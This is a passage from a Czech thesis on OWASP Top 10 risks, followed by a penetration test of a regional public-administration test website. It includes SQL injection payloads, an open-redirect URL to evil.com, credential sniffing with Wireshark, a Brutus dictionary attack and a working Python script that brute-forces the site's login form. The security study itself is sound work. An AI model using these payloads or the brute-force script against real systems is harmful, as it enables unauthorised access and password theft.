3.8.2 Obrana proti CSRF Jedním typem obrany se doporučuje zásadně používat HTTP metodu POST, jedná-li se o akce, které mění nebo mažou určité záznamy v administrační části internetových aplikací. Tím se pouze CSRF znesnadní, nikoliv nevyloučí. Prevence CSRF obvykle vyžaduje zahrnutí nepředvídatelných tokenů v každém požadavku HTTP. Tyto prvky by měly být minimálně jedinečné pro relace uživatele. Přednostní možností je zahrnovat jedinečný token ve skrytém poli. To způsobí, že hodnota má být zaslána v těle HTTP požadavku, tím se zabrání začlenění požadavku do URL. Unikátní tokeny mohou být zahrnuty i v samotném URL nebo parametru URL. Tím je zvýšeno riziko, že pokud útočník zjistí URL, tak zjistí také token. OWASP CSRF Guard automaticky zahrnuje takové tokeny v Java EE, NET nebo PHP aplikaci. OWASP ESAPI (Enterprise Security API) zahrnuje metody, které mohou vývojáři použít, aby se zabránilo CSRF zranitelnosti. Vyžadování opakovaného přihlášení uživatele (např. pomocí CAPTCHA) může také chránit před CSRF [18]. 3.9 Použití známých zranitelných komponent Téměř každý větší software, který se v dnešní době používá, využívá externí komponenty nebo různé knihovny. Pokud jsou některé části zranitelné, útočník může těchto zranitelností využít a tak jednotlivě nebo kolektivně napáchat velké škody. Slabé komponenty je většinou velmi těžké odhalit. Tyto nedostatky existují téměř v každé online společnosti nebo infrastruktuře webové stránky. Pokud se tedy vývojář rozhodne použít externí knihovny či jiné komponenty, tak by měl mít na paměti, že i s přínosem důležitých funkcí a dobré funkčnosti otevírá dveře pro případné chyby a bezpečnostní zranitelnosti. V nejhorším případě může útočník plně převzít kontrolu [19]. 3.9.1 Příklad útoku Zranitelnost komponenty může způsobit téměř jakýkoliv typ rizika, jaký si lze představit, od triviálního škodlivého kódu navrženého tak, aby se zacílil na konkrétní organizaci. Komponenty téměř vždy běží s plným oprávněním aplikace, takže 29
nedostatky v jakékoliv komponentě mohou být závažné. Následující dvě ohrožené komponenty byly staženy od roku 2011 více než dvacet dva milionkrát. Apache CXF Authentication Bypass - tím, že poskytují identitu tokenu, při jehož zavádění nastala chyba, mohli útočníci využít webovou službu s plným oprávněním. Spring Remote Code Execution - zneužitím implementace Expression Language ve Springu bylo dovoleno útočníkovi spustit libovolný kód a tím účinně docíleno převzetí serveru. Každá aplikace pomocí některé z těchto zranitelných knihoven je náchylná k útoku. Ohrožené knihovny, které jsou umístěné hlouběji v aplikaci, může být těžší zneužít [20]. 3.9.2 Způsob obrany Většina komponent projektů nevytvářejí záplaty zranitelností pro starší verze. Místo toho, většina těchto chyb se právě jednoduše opraví v příští verzi. Takže upgrade na těchto nových verzích je rozhodující. Softwarové projekty by měly mít k dispozici postup na místě, aby bylo možné: Identifikovat všechny komponenty a verze, které používáte, včetně všech závislostí (např. verze pluginu). Sledovat bezpečnost těchto složek ve veřejných databázích, projektových mailing listech a dalších. Zřídit zásady zabezpečení, jimiž se bude řídit použití komponent, jako je například vyžadovat určité postupy při vývoji softwaru, předávání bezpečnostních testů a přijatelné licence. Tam, kde je to vhodné, zvažte přidání bezpečnostních obalů kolem komponent, jako je zakázat nepoužívané funkce. Případně zajistěte slabé nebo zranitelné aspekty komponenty [20]. 30
3.10 Neošetřené přesměrování a předávání Mezi nejčastějších deset útoků na webové aplikace patří neověřené přesměrování. Útočník v tomto útoku získává osobní údaje uživatele prostřednictvím napodobených existujících webových stránek, jako jsou například Facebook nebo PayPal. Pomocí těchto napodobenin získá a uloží údaje uživatele, které následně použije proti vám. V případě finančních údajů to většinou vede k vyčerpání bankovního účtu. Tyto typy útoků mají vážný dopad na podnikání a webové stránky, především, je-li informace o uživateli zadána a škodlivý kód je pak instalován na počítači koncového uživatele. To může vést k celé řadě propletených problémů [21]. 3.10.1 Příklad útoku Aplikace má stránku nazvanou redirect.jsp, která přijímá jeden parametr nazvaný url. Útočník vytvoří škodlivou adresu URL, která přesměruje uživatele na škodlivý web, který provádí phishing a zároveň nainstaluje škodlivý kód do počítače koncového uživatele. Pro příklad je uvedena ukázka adresy [22]. http://www.example.com/redirect.jsp?url=evil.com 3.10.2 Obrana proti útoku Bezpečné používání přesměrování lze provést několika způsoby: Pokud to jde, snažte se přesměrování vyvarovat. Pokud ne, nezahrnujte uživatelské parametry při výpočtech určení cíle. Pokud se nelze vyhnout cílovým parametrům, ujistěte se, že zadaná hodnota je platná a oprávněná pro uživatele. Aplikace může použít ESAPI k přepsání metody sendredirect(), aby se ujistil, zda jsou všechny přesměrované cíle v bezpečí. Těmto chybám je důležité se vyhnout, protože jsou oblíbeným terčem phisherů usilujících o získání důvěry uživatele [22]. 31
4 Penetrační testování 4.1 Program OWASP ZAP K provedení penetračního testu webové stránky jsem využil programu OWASP ZAP (Zed Attack Proxy Project). ZAP je snadno použitelný integrovaný penetrační testovací nástroj pro hledání zranitelností na webových aplikacích, který je volně dostupný na stránkách OWASPu. První krok, který jsem zvolil při provedení penetračního testu, bylo zapnutí programu OWASP ZAP. Pro přehlednost je postup doplňován obrázky. Obrázek 7: Program OWASP ZAP 32
Po spuštění programu se objeví základní menu programu, ve kterém se zvolí záložka Quick Start. V záložce se doplní do kolonky URL to attack námi testovaná webová stránka a zvolí se tlačítko Attack. Obrázek 8: Zadání URL Program začne testovat webovou stránku na zranitelnosti a následně je vypíše ve spodní části programu v záložce Alerts. Obrázek 9: Nalezené zranitelnosti 33
Zranitelnosti jsou vypsány od kritických až po informativní. Ovšem každý testovací program má svoji vlastní stupnici pro určení důležitosti zranitelnosti a záleží tak na testerovi, aby rozhodl, zda se jedná o kritický nález či nikoliv. Je potřeba také brát v úvahu, že ne všechny zranitelnosti, které program najde, se opravdu na dané stránce nachází. Z tohoto důvodu je potřeba provést manuální testování webové stránky. 4.2 Nalezené zranitelnosti 4.2.1 SQL Injection Na testovací stránce jsem se v prvé řadě zaměřil na přihlašovací formulář. Obrázek 10: Přihlašovací formulář Existuje celá řada příkazů, které lze pro testování použít. Některé z nich jsou uvedeny níže. Příkaz 1: 'a' or b='b' Příkaz 2: a' or ' '=' Po vyzkoušení zadání uvedených příkazů se mi nepovedlo obejít přihlašovací formulář. V druhé řadě jsem se zaměřil na otestování parametru id_topic v URL. Pro příklad uvedu některé testovací příkazy. Příkaz 1: a' or ' '=' Příkaz 2: ' union select 1,@@version# Příkaz 3: ' union select null,@@hostname # 34
Příkaz 4: ' order by 1 # Příkaz 5: ' order by 2 # Příkaz 6: ' order by 3 # Příkaz 7: ' union all select system_user(),user() # Příkaz 8: ' union select null,database() # Příkaz 9: ' union select null, schema_name from information_schema.schemata # Příkaz 10: ' union select null,table_name from information_schema.tables # Příkaz 11: -1 union select 1,2,3,4,5,6 Po otestování celé řady příkazů, jsem nenašel nejmenší známky toho, že by byla webová stránka náchylná na SQL Injection. Doporučení na změnu: U přihlašovacího formuláře kolonky e-mailu by bylo dobré kontrolovat, zda zadaný řetězec odpovídá formátu e-mailu ( např. kontrola znaku @ ). 4.2.2 Directory browsing (procházení adresářů) Obrázek 11: Procházení adresářů 35
Je možné zobrazit výpis adresáře. Výpis adresáře může odhalit skryté skripty, hlavičkové soubory, zálohování zdrojových souborů apod., které jsou přístupné pro čtení citlivých informací. Pomocí zkopírování adresy obrázku (níže uvedené) a následné úpravy URL je možné procházet adresáře. http://vas-nazor.cz/test1/organisations/humpolec/layout/img/logo_eu.jpg Doporučení na změnu: Zakažte procházení adresářů. Pokud je to nutné, vyžadujte oprávnění pro přístup. 4.2.3 Cookie set without HttpOnly flag Některé cookie nejsou vybaveny ochranným flagem HttpOnly (např. v případě PHP se defaultní cookie nastavují v konfiguračním souboru php.ini, lze je také nastavit i v PHP skriptech, u dalších platforem to je podobné). Pokud je HttpOnly flag zahrnut v hlavičce HTTP, nelze přistupovat ke cookie prostřednictvím JavaScriptu na straně klienta. To může být využito například k útoku typu Session Hijacking. Doporučení na změnu: Obrázek 12: Nastavení cookie Nastavte ochranný flag HttpOnly pro veškeré cookie. 36
4.2.4 Cross-domain Javascript source file inclusion Webová stránka se odkazuje na JavaSriptový kód třetí strany, který je mimo kontrolu webové aplikace. Je zde riziko, že by z této třetí strany mohl být proveden například XSS útok nebo by mohlo dojít k nečekaným funkcím webové aplikace právě prostřednictvím tohoto kódu. Obrázek 13: JavaScript třetí strany Doporučení na změnu: Pokud se jedná o alespoň relativně důvěryhodný zdroj kódu, pak bych toto u nekritických webových aplikací neřešil. U kritických (např. banky aj.) bych doporučoval se odkazovat pouze na interní kód. 4.2.5 Password Autocomplete in browser Webová aplikace u autentizačního formuláře umožňuje prohlížečům pamatovat si heslo (v našem případě se jedná o přihlašovací formulář). Vzniká zde riziko, že heslo později někdo v prohlížeči zjistí, a že heslo bude platné i pro jiné aplikace (např. v počítačových kavárnách aj.). Doporučení na změnu: 37
V případě použití osobního počítače bych toto neřešil, pokud by se jednalo o použití počítače v kavárně apod., doporučil bych nastavit webový prohlížeč tak, aby si nemohl pamatovat hesla (u firefoxu: nastavení - soukromí). V některých případech lze také ve zdrojovém kódu naleznout u autentizačního formuláře autocomplete = on nebo autocomplete = off. Pokud nechcete dovolit, aby si prohlížeč pamatoval hesla, pak u formuláře zadáte autocomplete = off. 4.2.6 Private IP disclosure V těle stránek byla nalezena privátní IP (Internet Protocol) adresa. V tomto případě by to pak mohlo útočníkovi pomoci v postupném útoku na interní síť. Obrázek 14: IP adresa Doporučení na změnu: IP adresa se nalézá v dokumentu, který je veřejně dostupný a ne v HTTP odpovědi. V tomto případě se nejedná o bezpečnostní riziko. 4.2.7 X-Content-Type-Options header missing V některých případech je vhodné tuto hlavičku posílat a vynutit si tak od prohlížeče vyšší ochranu. Jednou z možností je nastavit hlavičku na nosniff. Tato metoda prohlížeče se používá proto, aby se zjistil skutečný typ obsahu odpovědi po prohlédnutí samotného obsahu. Doporučení na změnu: Nastavte hlavičku na nosniff ( X-Content-Type-Options: nosniff ). 38
4.2.8 X-Frame-Options header not set V tomto případě můžete nastavením této hlavičky zamezit vkládání stránky do cizích frame, iframe apod. Hlavička zlepšuje ochranu webových aplikací proti Clickjacking. Tento standard definuje hlavičku protokolu HTTP, který deklaruje zásady komunikace mezi hostem a klientem o tom, zda prohlížeč nesmí zobrazovat vysílaný obsah jiných webových stránek. Doporučení na změnu: Nastavte hlavičku na deny ( X-Frame-Options: deny ). Všechny výše uvedené zranitelnosti byly objeveny pomocí programu OWASP ZAP. Avšak program nemusí odhalit všechny zranitelnosti, a tak je potřeba projít webovou stránku ještě jednou z pohledu uživatele a vyzkoušet ostatní funkce webu. 4.3 Testování z pohledu uživatele 4.3.1 Zapomenuté heslo Při špatném zadání e-mailové adresy a následném kliknutí na Odeslat nové heslo server vrací: Vámi zadané uživatelské jméno naše registrační služba neeviduje. Obrázek 15: Zapomenuté heslo Při vícenásobném použití by mohlo dojít k uhodnutí e-mailové adresy, která se v databázi nachází. 39
Doporučení na změnu: Upravte výpis chybových hlášení. 4.3.2 Odposlechnutí přihlašovacích údajů Na tuto zranitelnost jsem použil program Whireshark, pomocí kterého lze zachytávat komunikaci na síti. V prvním kroku je třeba program spustit, vybrat připojení, které chcete zachytávat a následně použít tlačítko Start. Obrázek 16: Menu whiresharku Whireshark začne zachytávat komunikaci na síti a poté je třeba se na naší testovací stránku přihlásit. Po přihlášení už jen stačí Whireshark zastavit. Jakmile program zastaví činnost, je třeba vyfiltrovat údaje, které mají být zobrazeny. V našem případě napíšeme do filtru http a použijeme tlačítko Apply. 40
Obrázek 17: Filtrace dat Nyní jsme zobrazili komunikaci, která využívá protokol HTTP. Rozklikneme první řádek a zobrazíme Line - based text data. Obrázek 18: Zachycení přihlašovacích údajů Pomocí programu se mi úspěšně povedlo zachytit přihlašovací údaje. Doporučení na změnu: Použíte protokol HTTPS (Hypertext Transfer Protocol Secure), který umožňuje zabezpečit spojení mezi webovým prohlížečem a webovým serverem před odposloucháváním přihlašovacích údajů. 41
4.3.3 Slovníkový útok Vzhledem k tomu, že při přihlášení není zavedeno žádné opatření pro omezení opakovaných pokusů o přihlášení, je celý systém zranitelný a je možné provést tzv. slovníkový útok. Existuje několik programů, pomocí kterých lze tento útok provést, já jsem se však rozhodl využít program Brutus. V první řadě je potřeba program správně nastavit. Po spuštění programu se objeví jednoduché menu, ve kterém se v záložce Type zvolí hodnota HTTP (form). Obrázek 19: Menu programu Brutus Po nastavení hodnoty pokračujeme stisknutím tlačítka Modify sequence. Objeví se nám nové okno, do kterého zadáme námi testovanou stránku a naučíme ji do programu. 42
Obrázek 20: Zadání adresy V následujícím kroku přidělíme jednotlivým položkám Username a Password. Dále pokračujeme stisknutím tlačítka Accept a tlačítka OK. Obrázek 21: Označení formulářových položek 43
Na následujícím obrázku už je skoro vše nastaveno, jen zaškrtneme políčko Single User, zadáme e-mailovou adresu a pomocí tlačítka Browse vybereme textový dokument se sepsanými hesly. Pak už stačí jen kliknout na tlačítko Start a nechat program pracovat. Obrázek 22: Dokončení nastavení programu Program postupně začne testovat jednotlivá hesla z textového dokumentu. Pokud se heslo uživatele e-mailu shoduje s nějakým heslem zapsaným v textovém dokumentu, tak ho program po skončení vypíše. Obrázek 23: Nalezení hesla 44
4.3.4 Slovníkový útok pomocí scriptu Slovníkový útok lze také provést pomocí scriptu. Rozhodl jsem se tedy script vytvořit a otestovat v linuxu. Script má následující podobu. #!/usr/bin/env python import sys import os.path import requests from bs4 import BeautifulSoup # --------------------------------------- HELP ------------------------------------------- #procedura pro vypis napovedy def help(): print """Priklad pouziti:\tscript.py url file \t\t\turl - url adresa formulare \t\t\tfile - soubor s hesly\n""" # --------------------------------------- HELP END ---------------------------------------- # --------------------------------------- LOAD DICTIONARY ---------------------------- #funkce nacte vstupni soubor s hesly def load_input(i_file): soubor = "" if (os.path.isfile(i_file)): # overeni zda se jedna o soubor f = open(i_file,'r') soubor = f.readlines() f.close() return soubor # otevreni souboru obsahujici hesla # nacteni obsahu # uzavreni souboru # --------------------------------------- LOAD DICTIONARY ----------------------------- # --------------------------------------- MAIN ----------------------------------------------- url = "" filepath = "" passfile = "" 45
payload = {'login_user': 'testkuba1212@seznam.cz', 'login_pswd': ''} # parametry pro POST (jmeno, heslo) if (len(sys.argv) == 3): url = sys.argv[1] filepath = sys.argv[2] # kontrola parametru # nacteni url adresy # nacteni jmena souboru else: print "Spatny pocet parametru!\n" help() sys.exit(1) passfile = load_input(filepath) if (passfile == ""): # nacteni souboru print "Spatne zadana cesta k souboru!\n" help() sys.exit(1) for line in passfile: payload['login_pswd'] = line.rstrip() r = requests.post(url, data=payload) soup = BeautifulSoup(r.text) result = soup.find(id="error").text # pro kazde heslo v souboru # se nastavi POST # a odesle se na zadanou url # zpracovani odpovedi # zjisteni zda doslo k chybe if result == "": print line.rstrip() break # pokud nedoslo k chybe bylo nalezeno heslo # vypiseme heslo a ukoncime cyklus sys.exit(0) Příklad použítí:./script.py http://www.vas-nazor.cz/test1/kraj-submited_form.html pass.txt 46
5 Závěr Obsahem práce bylo analyzovat úrovně bezpečnosti elektronických služeb v Kraji Vysočina, provedení penetračních testů, jejich vyhodnocení a doporučení na změny pro jednotlivé subjekty veřejné správy. Všechny tyto požadavky se mi úspěšně povedlo vyřešit a výsledky zpracovat v mé práci. V první části práce je rozebrána nadace OWASP a jejich seznam nejčastějších útoků na webové aplikace. Dále je zmíněna elektronická kriminalita a šifrovací metody, ať už symetrická kryptografie nebo nesymetrická kryptografie. Druhým požadavkem bylo analyzovat úrovně bezpečnosti elektronických služeb. V této části práce jsem se výhradně zaměřil na deset nejnebezpečnějších bezpečnostních rizik sestavených podle nadace OWASP pro rok 2013. V práci jsou rozebrány jednotlivá bezpečností rizika od těch nejzávažnějších, jako je SQL Injection či Cross-site Scripting, až po méně závažné. Následně jsou k těmto rizikům uvedeny příklady útoků a možné způsoby obrany. V následující části práce jsem se zaměřil na provedení penetračního testování. V práci je otestována internetová webová stránka, která byla definovaná zadavatelem. Ačkoliv existuje celá řada programů sloužících pro penetrační testování webů, vybral jsem si program OWASP ZAP, který je volně dostupný na stránkách OWASPu. Pomocí tohoto programu jsem úspěšně otestoval webovou stránku. Ačkoliv program ZAP může objevit i rizika, která se na webové stránce nevyskytují, bylo pro mě největším problémem tato rizika vyvrátit. Po otestování stránky pomocí programu jsem se zaměřil ještě na otestování webové stránky z pohledu uživatele, při kterém jsem objevil další zranitelnosti, kterým by bylo dobré zamezit. Práce slouží jako zdroj minimálních informací pro začínající nebo i pokročilé webové vývojáře, kteří chtějí získat informace ohledně bezpečnosti a penetračního testování webových aplikací. 47